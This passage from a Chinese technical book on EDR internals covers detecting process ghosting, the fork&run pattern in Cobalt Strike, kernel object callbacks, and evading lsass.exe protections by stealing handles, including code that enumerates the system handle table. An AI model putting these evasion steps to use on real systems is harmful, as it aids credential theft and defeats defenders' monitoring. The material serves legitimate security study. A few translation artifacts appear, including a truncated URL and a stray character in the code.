为了在实践中实现这一技术,恶意软件可能会在磁盘上创建一个空文件,然后立即使用 ntdll!NtSetInformationFile() API 将其置于删除待定状态。当文件处于此状态时,恶意软件可以向文件写入其有效载荷。请注意,在此时,外部请求打开该文件会失败,并返回 ERROR_DELETE_PENDING 错误。接下来,恶意软件从该文件创建映像节,然后关闭文件句柄,删除文件,但保留映像节。从这里开始,恶意软件遵循前述示例中的步骤,通过节对象创建新进程。当驱动程序收到有关进程创建的通知并尝试访问支持该进程的 FILE_OBJECT(Windows 用于表示文件对象的结构)时,它将收到 STATUS_FILE_DELETED 错误,防止文件被检查。
检测
虽然进程映像修改有无数种变体,但由于该技术依赖于两点——创建与报告的可执行文件不同的映像节,无论是被修改还是缺失,以及使用传统的进程创建 API 从映像节创建新的非最小化进程——我们可以使用相同的基本方法来检测所有这些变体。
不幸的是,大多数对这种策略的检测是反应性的,通常仅在调查过程中进行,或者利用专有工具。然而,通过关注该技术的基本原理,我们可以设想出多种潜在的检测方法。为了演示这些方法,Aleksandra Doniec(@hasherezade)创建了一个公开的进程幽灵证明概念,我们可以在受控环境中分析。你可以在 https://
首先,在内核模式下,驱动程序可以在 PEB 中或相应的 EPROCESS 结构中查找与进程映像相关的信息,该结构表示内核中的进程对象。由于用户可以控制 PEB,因此进程结构是更好的信息来源。它在多个位置包含进程映像信息,具体描述见 表 3-1。
表 3-1: 包含在 EPROCESS 结构中的进程映像信息
| 位置 | 进程-图像信息 |
|---|---|
| ImageFileName | 仅包含文件名 |
| ImageFilePointer.FileName | 包含根目录的 Win32 文件路径 |
| SeAuditProcessCreationInfo.ImageFileName | 包含完整的 NT 路径,但可能并不总是填充 |
| ImagePathHash | 通过 nt!PfCalculateProcessHash() 计算得到的哈希化 NT 或规范化路径 |
驱动程序可以通过使用如 nt!SeLocateProcessImageName() 或 nt!ZwQueryInformationProcess() 等 API 查询这些路径,以检索真实的图像路径,但此时它们仍需要一种方法来确定进程是否被篡改。尽管不可靠,PEB 提供了一个比较的依据。让我们通过 WinDbg 来演示这一比较。首先,我们尝试从进程结构的一个字段中提取图像的文件路径(列表 3-15)。
0: kd> **dt nt!_EPROCESS SeAuditProcessCreationInfo @$proc**
+0x5c0 SeAuditProcessCreationInfo : _SE_AUDIT_PROCESS_CREATION_INFO
0: kd> **dt (nt!_OBJECT_NAME_INFORMATION *) @$proc+0x5c0**
0xffff9b8f`96880270
+0x000 Name : _UNICODE_STRING ""
列表 3-15:从 SeAuditProcessCreationInfo 中提取文件路径
有趣的是,WinDbg 返回的图像名称是空字符串。这是不典型的;例如,列表 3-16 返回的是你在未修改的 notepad.exe 的情况下预期看到的内容。
1: kd> **dt (nt!_OBJECT_NAME_INFORMATION *) @$proc+0x5c0**
Breakpoint 0 hit
0xffff9b8f`995e6170
+0x000 Name : _UNICODE_STRING
"\Device\HarddiskVolume2\Windows\System32\notepad.exe"
列表 3-16:用图像的 NT 路径填充的 UNICODE_STRING 字段
我们还可以检查进程结构的另一个成员 ImageFileName。虽然此字段不会返回完整的图像路径,但它仍然提供了有价值的信息,正如你在 列表 3-17 中看到的那样。
0: kd> **dt nt!_EPROCESS ImageFileName @$proc**
+0x5a8 ImageFileName : [15] "THFA8.tmp"
列表 3-17:读取 ImageFileName 成员,位于 EPROCESS 结构中
返回的文件名应该已经引起了注意,因为 .tmp 文件不是常见的可执行文件。为了确定是否可能发生了图像篡改,我们将查询 PEB。PEB 中的几个位置会返回图像路径:ProcessParameters.ImagePathName 和 Ldr.InMemoryOrderModuleList。让我们使用 WinDbg 来演示这一点(列表 3-18)。
1: kd> **dt nt!_PEB ProcessParameters @$peb**
+0x020 ProcessParameters : 0x000001c1`c9a71b80 _RTL_USER_PROCESS_PARAMETERS
1: kd> **dt nt!_RTL_USER_PROCESS_PARAMETERS ImagePathName poi(@$peb+0x20)**
+0x060 ImagePathName : _UNICODE_STRING "C:\WINDOWS\system32\notepad.exe"
列表 3-18:从 ImagePathName 提取进程图像路径
如 WinDbg 输出所示,PEB 报告的进程图像路径为 C:\Windows\System32\notepad.exe。我们可以通过查询 Ldr.InMemoryOrderModuleList 字段来验证这一点,如 列表 3-19 所示。
1: kd> **!peb**
PEB at 0000002d609b9000
InheritedAddressSpace: No
ReadImageFileExecOptions: No
BeingDebugged: No
ImageBaseAddress: 00007ff60edc0000
NtGlobalFlag: 0
NtGlobalFlag2: 0
Ldr 00007ffc74c1a4c0
Ldr.Initialized: Yes
Ldr.InInitializationOrderModuleList: 000001c1c9a72390 . 000001c1c9aa7f50
Ldr.InLoadOrderModuleList: 000001c1c9a72500 . 000001c1c9aa8520
Ldr.InMemoryOrderModuleList: 000001c1c9a72510 . 000001c1c9aa8530
Base Module
❶ 7ff60edc0000 C:\WINDOWS\system32\notepad.exe
列表 3-19:从 InMemoryOrderModuleList 提取进程图像路径
你可以看到这里 notepad.exe 是模块列表中的第一个图像 ❶。在我的测试中,这应该始终是这种情况。如果 EDR 在进程结构中报告的图像名称与 PEB 中的名称不匹配,它可以合理地判断某种类型的进程图像篡改已发生。然而,它无法确定攻击者使用了哪种技术。为了做出这一判断,它需要收集更多的信息。
EDR 可能首先尝试直接调查文件,例如通过进程结构中的 ImageFilePointer 字段扫描其内容。如果恶意软件通过传递图像部分对象来创建进程,使用的是传统的进程创建 API,如概念验证中所示,那么该成员将为空(列表 3-20)。
1: kd> **dt nt!_EPROCESS ImageFilePointer @$proc**
+0x5a0 ImageFilePointer : (null)
列表 3-20:空的 ImageFilePointer 字段
使用传统 API 从一个部分创建进程是一个重要的指示,表明某些异常情况正在发生。此时,EDR 可以合理地判断这是发生的情况。为了支持这一假设,EDR 还可以检查进程是否为最小进程或 pico(派生自最小进程),如 列表 3-21 所示。
1: kd> **dt nt!_EPROCESS Minimal PicoCreated @$proc**
+0x460 PicoCreated : 0y0
+0x87c Minimal : 0y0
列表 3-21:将 Minimal 和 PicoCreated 成员设置为 false
另一个可以检查异常的地方是虚拟地址描述符(VAD)树,用于跟踪进程的连续虚拟内存分配。VAD 树可以提供有关已加载模块和内存分配权限的非常有用的信息。该树的根存储在进程结构的 VadRoot 成员中,我们无法通过 Microsoft 提供的 API 直接检索该信息,但可以在流行的驱动程序 Blackbone 中找到参考实现,Blackbone 用于操作内存。
若要检测进程映像修改,您可能需要查看映射的分配类型,其中包括 READONLY 文件映射,如 COM+ 目录文件(例如 C:\Windows\Registration\Rxxxxxxx1.clb),以及 EXECUTE_WRITECOPY 可执行文件。在 VAD 树中,您通常会看到进程映像的 Win32 根路径(换句话说,作为第一个映射可执行文件的进程支持的可执行文件)。列表 3-22 显示了 WinDbg 的 !vad 命令的截断输出。
0: kd> **!vad**
VAD Commit
ffffa207d5c88d00 7 Mapped NO_ACCESS Pagefile section, shared commit 0x1293
ffffa207d5c89340 6 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\notepad.exe
ffffa207dc976c90 4 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\oleacc.dll
列表 3-22:WinDbg 中对于正常进程的 !vad 命令输出
该工具的输出显示了未修改的 notepad.exe 进程的映射分配。现在让我们来看一下它们在伪装进程中的表现(列表 3-23)。
0: kd> **!vad**
VAD Commit
ffffa207d5c96860 2 Mapped NO_ACCESS Pagefile section, shared commit 0x1293
ffffa207d5c967c0 6 Mapped Exe EXECUTE_WRITECOPY \Users\dev\AppData\Local\Temp\THF53.tmp
ffffa207d5c95a00 9 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\gdi32full.dll
列表 3-23:伪装进程的 !vad 命令输出
这个映射分配显示了 .tmp 文件的路径,而不是 notepad.exe 的路径。
既然我们已经知道了感兴趣的映像路径,就可以进一步调查它。做这件事的一种方法是使用 ntdll!NtQueryInformationFile() API 和 FileStandardInformation 类,它将返回一个 FILE_STANDARD_INFORMATION 结构。该结构包含 DeletePending 字段,这是一个布尔值,指示文件是否已标记为删除。在正常情况下,您也可以从 FILE_OBJECT 结构的 DeletePending 成员中提取此信息。在相关进程的 EPROCESS 结构内部,这由 ImageFilePointer 成员指向。在伪装进程的情况下,该指针将为空,因此 EDR 无法使用它。列表 3-24 显示了正常进程的映像文件指针和删除状态应如何表现。
2: kd> **dt nt!_EPROCESS ImageFilePointer @$proc**
+0x5a0 ImageFilePointer : 0xffffad8b`a3664200 _FILE_OBJECT
2: kd> **dt nt!_FILE_OBJECT DeletePending 0xffffad8b`a3664200**
+0x049 DeletePending : 0 ' '
列表 3-24:正常的 ImageFilePointer 和 DeletePending 成员
此列表来自一个在正常条件下执行的 notepad.exe 进程。在一个被伪装的进程中,映像文件指针将是一个无效值,因此,删除状态标志也将是无效的。
通过观察正常的 notepad.exe 实例和被伪装的实例之间的差异,我们已经识别出了一些指示器:
-
在进程的 PEB 中的 ProcessParameters 成员内的 ImagePathName 路径与其 EPROCESS 结构中的 ImageFileName 路径不匹配。
-
进程结构的图像文件指针将为 null,并且其 Minimal 和 PicoCreated 字段将为 false。
-
文件名可能不常见(不过这并不是要求,用户可以控制该值)。
当 EDR 驱动程序从其进程创建回调中接收到新的进程创建结构时,它将能够访问构建检测所需的关键信息。也就是说,在进程幽灵化的情况下,它可以使用 ImageFileName、 FileObject 和 IsSubsystemProcess 来识别潜在的幽灵进程。清单 3-25 展示了该驱动程序逻辑的实现方式。
void ProcessCreationNotificationCallback(
PEPROCESS pProcess,
HANDLE hPid,
PPS_CREATE_NOTIFY_INFO psNotifyInfo)
{
if (pNotifyInfo)
{
❶ if (!pNotifyInfo->FileObject && !pNotifyInfo->IsSubsystemProcess)
{
PUNICODE_STRING pPebImage = NULL;
PUNICODE_STRING pPebImageNtPath = NULL; PUNICODE_STRING pProcessImageNtPath = NULL;
❷ GetPebImagePath(pProcess, pPebImage);
CovertPathToNt(pPebImage, pPebImageNtPath);
❸ CovertPathToNt(psNotifyInfo->ImageFileName, pProcessImageNtPath);
if (RtlCompareUnicodeString(pPebImageNtPath, pProcessImageNtPath, TRUE))
{
`--snip--`
}
}
}
`--snip--`
}
清单 3-25:使用驱动程序检测幽灵进程
我们首先检查文件指针是否为 null,即使创建的进程不是子系统进程❶,这意味着它可能是通过传统的进程创建 API 创建的。接下来,我们使用两个模拟辅助函数❷从 PEB 中返回进程图像路径,并将其转换为 NT 路径。然后,我们使用进程结构中为新创建的进程提供的图像文件名❸重复此过程。之后,我们比较 PEB 和进程结构中的图像路径。如果它们不相等,则很可能发现了可疑进程,此时 EDR 需要采取行动。
进程注入案例研究:fork&run
随着时间推移,攻击者的技术手段发生了变化,这也影响了 EDR 厂商对于检测可疑进程创建事件的重要性。在成功入侵目标系统后,攻击者可能会利用任何数量的命令与控制代理来执行其后期利用活动。每个恶意软件代理的开发者必须决定如何处理与代理的通信,以便在被感染的系统上执行命令。虽然有许多方法可以解决这个问题,但最常见的架构被称为fork&run。
Fork&run 的工作原理是启动一个牺牲进程,代理的主进程将其后期利用任务注入该进程,使任务能够独立于代理执行。这样做的一个好处是稳定性;如果在主代理进程中运行的后期利用任务遇到未处理的异常或故障,可能会导致代理退出,从而使攻击者失去对环境的访问权限。
这种架构还简化了代理的设计。通过提供主机进程和注入其后期利用功能的方式,开发者使得将新功能集成到代理中变得更加容易。此外,通过将后期利用任务限制在另一个进程中,代理无需过多担心清理问题,而是可以直接终止牺牲进程。
在代理中利用 fork&run 是如此简单,以至于许多操作人员可能甚至没有意识到他们正在使用它。一个广泛使用 fork&run 的流行代理是 Cobalt Strike 的 Beacon。通过 Beacon,攻击者可以指定一个牺牲进程,无论是通过其可塑性配置文件(Malleable profile)还是通过 Beacon 集成命令,这个进程将作为注入后期利用功能的目标。一旦目标进程设置好,Beacon 就会启动该牺牲进程,并在队列中有需要 fork&run 的后期利用任务时注入其代码。该牺牲进程负责运行任务并在退出前返回输出。
然而,这种架构对操作安全构成了较大的风险。攻击者现在必须躲避如此多的检测,以至于利用像 Beacon 这样的代理的内置功能通常不可行。相反,许多团队现在只将其代理作为注入后期利用工具代码和保持对环境访问的一种方式。这一趋势的一个例子是,使用 C# 编写的进攻性工具的兴起,主要通过 Beacon 的execute-assembly进行利用,后者是一种在内存中执行 .NET 程序集的方法,底层使用了 fork&run。
由于这种战术手段的转变,EDR 对进程创建的监控变得更加严格,从环境中父子进程关系的相对频率到进程镜像是否为 .NET 程序集等方面进行了多角度审查。然而,随着 EDR 厂商在检测“创建进程并注入”模式方面变得更加精准,攻击者开始认为启动新进程具有很高的风险,并开始寻找规避该操作的方法。
对于 EDR(端点检测与响应)厂商来说,最大的挑战之一出现在 Cobalt Strike 的 4.1 版本中,该版本引入了 Beacon 对象文件(BOFs)。BOFs 是用 C 语言编写的小型程序,旨在在代理进程中运行,完全避免了 fork&run。功能开发人员可以继续使用现有的开发过程,但利用这种新架构以更安全的方式实现相同的结果。
如果攻击者从 fork&run 中移除伪装,EDR 供应商必须依赖其他遥测数据来进行检测。幸运的是,对于供应商来说,BOFs 仅移除与牺牲进程创建相关的进程创建和注入遥测数据。它们不会隐藏后期利用工具的痕迹,比如网络流量、文件系统交互或 API 调用。这意味着,尽管 BOFs 确实使检测变得更加困难,但它们并不是解决问题的灵丹妙药。
结论
监控新进程和线程的创建是任何 EDR(端点检测与响应)系统中极其重要的功能。它有助于映射父子关系、在进程执行之前调查可疑进程,并识别远程线程的创建。尽管 Windows 提供了其他获取这些信息的方式,但在 EDR 的驱动程序内部,进程和线程创建回调例程仍然是最常见的方式。除了能够深入了解系统上的活动外,这些回调也很难被规避,它们依赖于覆盖的漏洞和盲点,而不是底层技术的根本缺陷。
第四章:4 对象通知

进程和线程事件只是使用回调例程监控系统活动的冰山一角。在 Windows 上,开发人员还可以捕获请求对象句柄的操作,这些操作提供了与攻击者活动相关的有价值遥测信息。
对象 是一种抽象资源的方式,如文件、进程、令牌和注册表键。一个名为 对象管理器 的集中式代理处理诸如监督对象的创建与销毁、跟踪资源分配和管理对象生命周期等任务。此外,当代码请求对进程、线程和桌面对象的句柄时,对象管理器会通知已注册的回调。EDR 认为这些通知很有用,因为许多攻击技术,从凭据转储到远程进程注入,都涉及打开这些句柄。
在本章中,我们探讨了对象管理器的一个功能:它能够在系统上发生某些类型的与对象相关的操作时通知驱动程序。当然,我们还将讨论攻击者如何避开这些检测活动。
对象通知的工作原理
对于所有其他通知类型,EDR 可以使用一个单独的函数注册对象回调例程,在这种情况下是 nt!ObRegisterCallbacks()。让我们来看一下这个函数,看看它是如何工作的,然后练习实现一个对象回调例程。
注册新的回调
乍一看,注册功能似乎很简单,只需要两个指针作为参数:CallbackRegistration 参数,指定回调例程本身以及其他注册信息,和 RegistrationHandle,当驱动程序希望取消注册回调例程时,接收传递的值。
尽管这个函数的定义看起来简单,但通过 CallbackRegistration 参数传递的结构体却复杂得多。列表 4-1 显示了它的定义。
typedef struct _OB_CALLBACK_REGISTRATION {
USHORT Version;
USHORT OperationRegistrationCount;
UNICODE_STRING Altitude;
PVOID RegistrationContext;
OB_OPERATION_REGISTRATION *OperationRegistration;
} OB_CALLBACK_REGISTRATION, *POB_CALLBACK_REGISTRATION;
列表 4-1:OB_CALLBACK_REGISTRATION 结构定义
你会发现其中一些值相当简单明了。对象回调注册的版本始终为 OB_FLT_REGISTRATION_VERSION (0x0100)。OperationRegistrationCount 成员是传递给 OperationRegistration 成员的回调注册结构的数量,RegistrationContext 是传递给回调例程的某个值,每当它们被调用时都会传递该值,并且通常会被设置为 null。
Altitude 成员是一个字符串,表示回调例程应调用的顺序。具有较高高度的前操作例程会更早运行,而具有较高高度的后操作例程则会稍晚执行。你可以将此值设置为任何值,只要该值没有被其他驱动程序的例程占用。幸运的是,微软允许使用小数,而不仅仅是整数,这降低了高度冲突的总体可能性。
此注册功能的核心是其 OperationRegistration 参数及其指向的注册结构数组。该结构的定义如 清单 4-2 所示。此数组中的每个结构都指定函数是注册前操作回调例程还是后操作回调例程。
typedef struct _OB_OPERATION_REGISTRATION {
POBJECT_TYPE *ObjectType;
OB_OPERATION Operations;
POB_PRE_OPERATION_CALLBACK PreOperation; POB_POST_OPERATION_CALLBACK PostOperation;
} OB_OPERATION_REGISTRATION, *POB_OPERATION_REGISTRATION;
清单 4-2:OB_OPERATION_REGISTRATION 结构定义
表 4-1 描述了每个成员及其目的。如果你对驱动程序监控的内容感到好奇,这些结构包含了你所关注的大部分信息。
表 4-1: 成员 OB_OPERATION_REGISTRATION 结构
| 成员 | 目的 |
|---|
| ObjectType | 指向驱动程序开发人员希望监控的对象类型的指针。 截至本文写作时,支持三种值:
-
PsProcessType (进程)
-
PsThreadType (线程)
-
ExDesktopObjectType (桌面)
|
| Operations | 一个指示要监控的句柄操作类型的标志。可以是 OB_OPERATION_HANDLE_CREATE,用于监控新句柄请求,或者 OB_OPERATION_HANDLE_DUPLICATE,用于监控句柄重复请求。 |
|---|---|
| PreOperation | 一个指向前操作回调例程的指针。此例程将在句柄操作完成之前调用。 |
| PostOperation | 一个指向后操作回调例程的指针。此例程将在句柄操作完成后调用。 |
我们将在“驱动程序触发后的操作检测”一节中进一步讨论这些成员,参见 第 66 页。
监控新进程句柄和重复进程句柄请求
EDR(端点检测与响应)通常实现前操作回调来监控新进程句柄和重复进程句柄请求。虽然监控线程和桌面句柄请求也有帮助,但攻击者更频繁地请求进程句柄,因此它们通常提供更相关的信息。清单 4-3 显示了 EDR 可能如何在驱动程序中实现这种回调。
PVOID g_pObCallbackRegHandle;
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObj, PUNICODE_STRING pRegPath)
{
NTSTATUS status = STATUS_SUCCESS;
OB_CALLBACK_REGISTRATION CallbackReg;
OB_OPERATION_REGISTRATION OperationReg;
RtlZeroMemory(&CallbackReg, sizeof(OB_CALLBACK_REGISTRATION));
RtlZeroMemory(&OperationReg, sizeof(OB_OPERATION_REGISTRATION));
`--snip--`
CallbackReg.Version = OB_FLT_REGISTRATION_VERSION;
❶ CallbackReg.OperationRegistrationCount = 1; RtlInitUnicodeString(&CallbackReg.Altitude, ❷ L"28133.08004");
CallbackReg.RegistrationContext = NULL;
OperationReg.ObjectType = ❸ PsProcessType;
OperationReg.Operations = ❹ OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE;
❺ OperationReg.PreOperation = ObjectNotificationCallback;
CallbackReg.OperationRegistration = ❻ &OperationReg;
status = ❼ ObRegisterCallbacks(&CallbackReg, &g_pObCallbackRegHandle);
if (!NT_SUCCESS(status))
{
return status;
}
`--snip--`
}
OB_PREOP_CALLBACK_STATUS ObjectNotificationCallback(
PVOID RegistrationContext,
POB_PRE_OPERATION_INFORMATION Info)
{
`--snip--`
}
清单 4-3:注册前操作回调通知例程
在这个示例驱动程序中,我们首先填充回调注册结构。最重要的两个成员是 OperationRegistrationCount,我们将其设置为 1,表示我们只注册一个回调例程 ❶,以及高度值,我们将其设置为一个任意值 ❷,以避免与其他驱动程序的例程冲突。
接下来,我们设置操作注册结构。我们将 ObjectType 设置为 PsProcessType ❸,并将 Operations 设置为指示我们关注监控新或重复进程句柄操作的值 ❹。最后,我们将 PreOperation 成员指向我们的内部回调函数 ❺。
最后,我们通过将指针传递到 OperationRegistration 成员 ❻,将我们的操作注册结构与回调注册结构连接起来。此时,我们准备调用注册函数 ❼。当该函数执行完成后,我们的回调例程将开始接收事件,同时我们会收到一个可以传递给注册函数来注销该例程的值。
检测 EDR 正在监控的对象
我们如何检测 EDR 正在监控哪些对象?与其他类型的通知一样,当注册函数被调用时,系统会将回调例程添加到例程数组中。然而,对于对象回调,数组的结构不像其他类型那么直接。
还记得我们传递到操作注册结构中的指针,用来指定我们感兴趣监控的对象类型吗?到目前为止,在本书中我们大多遇到的是指向结构体的指针,但这些指针实际上引用的是枚举中的值。让我们来看一下 nt!PsProcessType,了解一下发生了什么。像 nt!PsProcessType 这样的对象类型其实是 OBJECT_TYPE 结构体。列表 4-4 展示了在运行中的系统中,这些结构体的样子,使用了 WinDbg 调试器。
2: kd> **dt nt!_OBJECT_TYPE poi(nt!PsProcessType)**
+0x000 TypeList : _LIST_ENTRY [0xffffad8b`9ec8e220 - 0xffffad8b`9ec8e220]
+0x010 Name : _UNICODE_STRING "Process"
+0x020 DefaultObject : (null)
+0x028 Index : 0x7 ' '
+0x02c TotalNumberOfObjects : 0x7c
+0x030 TotalNumberOfHandles : 0x4ce
+0x034 HighWaterNumberOfObjects : 0x7d
+0x038 HighWaterNumberOfHandles : 0x4f1
+0x040 TypeInfo : _OBJECT_TYPE_INITIALIZER
+0x0b8 TypeLock : _EX_PUSH_LOCK
+0x0c0 Key : 0x636f7250
+0x0c8 CallbackList : _LIST_ENTRY [0xffff9708`64093680 - 0xffff9708`64093680]
列表 4-4: nt!_OBJECT_TYPE 被 nt!PsProcessType 指向
偏移量 0x0c8 处的 CallbackList 条目对我们特别有意义,因为它指向一个 LIST_ENTRY 结构,这是与进程对象类型相关的回调例程双向链表的入口点或头部。链表中的每个条目都指向一个未记录的 CALLBACK_ENTRY_ITEM 结构。这个结构的定义包含在 列表 4-5 中。
Typedef struct _CALLBACK_ENTRY_ITEM {
LIST_ENTRY EntryItemList;
OB_OPERATION Operations;
DWORD Active;
PCALLBACK_ENTRY CallbackEntry;
POBJECT_TYPE ObjectType;
POB_PRE_OPERATION_CALLBACK PreOperation;
POB_POST_OPERATION_CALLBACK PostOperation;
__int64 unk;
} CALLBACK_ENTRY_ITEM, * PCALLBACK_ENTRY_ITEM;
列表 4-5: CALLBACK_ENTRY_ITEM 结构定义
该结构体的 PreOperation 成员位于偏移量 0x028。如果我们能遍历回调函数的链表,并在每个结构体中获取该成员指向地址的符号,我们就能列举出监控进程句柄操作的驱动程序。WinDbg 再次派上用场,它支持脚本化功能,正如 列表 4-6 中所示,能够完成我们所需要的操作。
2: kd> **!list -x ".if (poi(@$extret+0x28) != 0) {lmDva (poi(@$extret+0x28));}"**
**(poi(nt!PsProcessType)+0xc8)**
Browse full module list
start end module name fffff802`73b80000 fffff802`73bf2000 WdFilter (no symbols)
Loaded symbol image file: WdFilter.sys
❶ Image path: \SystemRoot\system32\drivers\wd\WdFilter.sys
Image name: WdFilter.sys
Browse all global symbols functions data
Image was built with /Brepro flag.
Timestamp: 629E0677 (This is a reproducible build file hash, not a timestamp)
CheckSum: 0006EF0F
ImageSize: 00072000
Translations: 0000.04b0 0000.04e4 0409.04b0 0409.04e4
Information from resource tables:
列表 4-6: 枚举进程句柄操作的预操作回调
这个调试器命令基本上是说:“遍历从 nt!_OBJECT_TYPE 结构中 CallbackList 成员指向的地址开始的链表,如果 PreOperation 成员指向的地址不为 null,则打印出模块信息。”
在我的测试系统上,Defender 的 WdFilter.sys ❶ 是唯一一个注册了回调的驱动程序。在部署了 EDR 的真实系统中,你几乎肯定会看到 EDR 的驱动程序与 Defender 一起注册。你可以使用相同的过程列举监控线程或桌面句柄操作的回调,但这些通常不那么常见。此外,如果微软添加了注册其他类型对象句柄操作回调的能力,比如针对令牌的回调,那么这个过程也可以列举它们。
触发后检测驱动程序的行为
虽然了解 EDR 关注的对象类型对于监控很有用,但最有价值的信息是驱动程序在被触发时实际执行的操作。EDR 可以做很多事情,从默默观察代码的活动到积极干扰请求。为了理解驱动程序可能做什么,我们首先需要查看它操作的数据。
当某些句柄操作调用已注册的回调时,回调将接收一个指向 OB_PRE_OPERATION_INFORMATION 结构的指针(如果是预操作回调),或者一个指向 OB_POST_OPERATION_INFORMATION 结构的指针(如果是后操作例程)。这些结构非常相似,但后操作版本仅包含句柄操作的返回码,且其数据不能更改。预操作回调更为普遍,因为它们为驱动程序提供了拦截和修改句柄操作的能力。因此,我们将重点关注预操作结构,如列表 4-7 所示。
typedef struct _OB_PRE_OPERATION_INFORMATION {
OB_OPERATION Operation;
union {
ULONG Flags;
struct {
ULONG KernelHandle : 1;
ULONG Reserved : 31; };
};
PVOID Object;
POBJECT_TYPE ObjectType;
PVOID CallContext;
POB_PRE_OPERATION_PARAMETERS Parameters;
} OB_PRE_OPERATION_INFORMATION, *POB_PRE_OPERATION_INFORMATION;
列表 4-7:OB_PRE_OPERATION_INFORMATION 结构定义
就像注册回调的过程一样,解析通知数据比看起来要复杂一些。让我们一起逐步分析其中的重要部分。首先,Operation句柄用来识别当前执行的操作是创建一个新的句柄,还是复制一个已有的句柄。EDR 的开发者可以根据正在处理的操作类型使用这个句柄执行不同的操作。此外,如果KernelHandle值不为零,则说明该句柄是内核句柄,回调函数通常不会处理它。这允许 EDR 进一步减少需要监控的事件范围,从而提供有效的覆盖。
Object指针引用了句柄操作的目标。驱动程序可以使用它进一步调查该目标,例如获取有关其进程的信息。ObjectType指针指示操作是否针对进程或线程,而Parameters指针引用一个结构,该结构指示正在处理的操作类型(无论是句柄创建还是复制)。
驱动程序几乎会使用结构中的所有内容,直到Parameters成员来筛选操作。一旦知道它正在处理的对象类型以及将要处理的操作类型,它通常不会再执行额外的检查,除非是确认该句柄是否为内核句柄。一旦开始处理由Parameters成员指向的结构,真正的魔力就开始了。如果操作是创建一个新的句柄,我们将接收到指向清单 4-8 中定义的结构的指针。
typedef struct _OB_PRE_CREATE_HANDLE_INFORMATION {
ACCESS_MASK DesiredAccess;
ACCESS_MASK OriginalDesiredAccess;
} OB_PRE_CREATE_HANDLE_INFORMATION, *POB_PRE_CREATE_HANDLE_INFORMATION;
清单 4-8:OB_PRE_CREATE_HANDLE_INFORMATION结构定义
这两个ACCESS_MASK值都指定了要授予句柄的访问权限。这些值可能会设置为像PROCESS_VM_OPERATION或THREAD_SET_THREAD_TOKEN这样的值,这些值可能会在打开进程或线程时,作为< samp class="SANS_TheSansMonoCd_W5Regular_11">dwDesiredAccess参数传递给函数。
你可能会想,为什么这个结构包含两份相同的值。其实原因是预操作通知赋予了驱动程序修改请求的能力。假设驱动程序想要阻止进程读取lsass.exe进程的内存。为了读取该进程的内存,攻击者首先需要打开一个具有适当权限的句柄,因此他们可能会请求PROCESS_ALL_ACCESS。驱动程序将收到这个新的进程句柄通知,并在结构的OriginalDesiredAccess成员中看到请求的访问掩码。为了阻止访问,驱动程序可以通过使用按位补码运算符(~)翻转与该访问权限相关的位,从DesiredAccess成员中移除PROCESS_VM_READ。翻转这个位会阻止该句柄获得该特定权限,但允许它保留所有其他请求的权限。
如果操作是用于复制现有句柄,我们将收到指向清单 4-9 中定义的结构的指针,该结构包含两个附加指针。
typedef struct _OB_PRE_DUPLICATE_HANDLE_INFORMATION {
ACCESS_MASK DesiredAccess;
ACCESS_MASK OriginalDesiredAccess;
PVOID SourceProcess;
PVOID TargetProcess;
} OB_PRE_DUPLICATE_HANDLE_INFORMATION, *POB_PRE_DUPLICATE_HANDLE_INFORMATION;
清单 4-9:OB_PRE_DUPLICATE_HANDLE_INFORMATION 结构定义
SourceProcess成员是指向发起句柄请求的进程对象的指针,而TargetProcess是指向接收该句柄的进程的指针。这与传递给句柄复制内核函数的hSourceProcessHandle和hTargetProcessHandle参数相匹配。
在认证攻击中规避对象回调
毫无疑问,攻击者最常针对的进程之一是lsass.exe,它负责处理用户模式下的认证。其地址空间可能包含明文认证凭据,攻击者可以使用如 Mimikatz、ProcDump,甚至任务管理器等工具提取这些凭据。
由于攻击者已经广泛地攻击lsass.exe,安全厂商已经投入了大量时间和精力来检测其滥用。对象回调通知是他们用于此目的的最强大数据源之一。为了判断活动是否恶意,许多 EDR 依赖于每次新的进程句柄请求时传递给回调例程的三条信息:发起请求的进程、请求句柄的目标进程以及访问掩码,即调用进程请求的权限。
例如,当操作员请求一个新的指向 lsass.exe 的进程句柄时,EDR 的驱动程序将确定调用进程的身份,并检查目标是否为 lsass.exe。如果是,它可能会评估请求的访问权限,查看请求者是否请求了 PROCESS_VM_READ,因为它需要读取进程内存。接下来,如果请求者不属于应有权访问 lsass.exe 的进程列表,驱动程序可能选择返回无效句柄或一个修改过的访问掩码,并通知代理可能的恶意行为。
注意
防御者有时可以根据请求的访问掩码识别特定的攻击者工具。许多攻击工具请求过度的访问掩码,如 PROCESS_ALL_ACCESS,或非典型的掩码,如 Mimikatz 请求的 PROCESS_VM_READ | PROCESS_QUERY_LIMITED_INFORMATION,当打开进程句柄时。
总结来说,EDR 在其检测策略中做出了三个假设:调用进程将打开一个新的句柄指向 lsass.exe,该进程将是非典型的,并且请求的访问掩码将允许请求者读取 lsass.exe 的内存。攻击者可能会利用这些假设绕过代理的检测逻辑。
执行句柄窃取
攻击者规避检测的一种方式是复制另一个进程拥有的指向 lsass.exe 的句柄。它们可以通过 ntdll!NtQuerySystemInformation() API 发现这些句柄,该 API 提供了一个极其有用的功能:作为普通用户查看系统句柄表的能力。该表包含系统上所有打开的句柄的列表,包括互斥体、文件,最重要的是进程等对象。列表 4-10 展示了恶意软件如何查询此 API。
PSYSTEM_HANDLE_INFORMATION GetSystemHandles()
{
NTSTATUS status = STATUS_SUCCESS;
PSYSTEM_HANDLE_INFORMATION pHandleInfo = NULL;
ULONG ulSize = sizeof(SYSTEM_HANDLE_INFORMATION);
pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(ulSize);
if (!pHandleInfo)
{
return NULL;
}
status = NtQuerySystemInformation(
❶ SystemHandleInformation,
pHandleInfo,
ulSize, &ulSize);
while (status == STATUS_INFO_LENGTH_MISMATCH)
{
free(pHandleInfo);
pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(ulSize);
status = NtQuerySystemInformation(
SystemHandleInformation, 1
❷ pHandleInfo,
ulSize, &ulSize);
} if (status != STATUS_SUCCESS)
{
return NULL;
}
}
列表 4-10:检索句柄表
通过将 SystemHandleInformation 信息类传递给该函数 ❶,用户可以检索一个包含系统上所有活动句柄的数组。该函数完成后,将把数组存储在 SYSTEM_HANDLE_INFORMATION 结构的成员变量中 ❷。
接下来,恶意软件可以遍历句柄数组,如 列表 4-11 所示,并筛选出它无法使用的句柄。
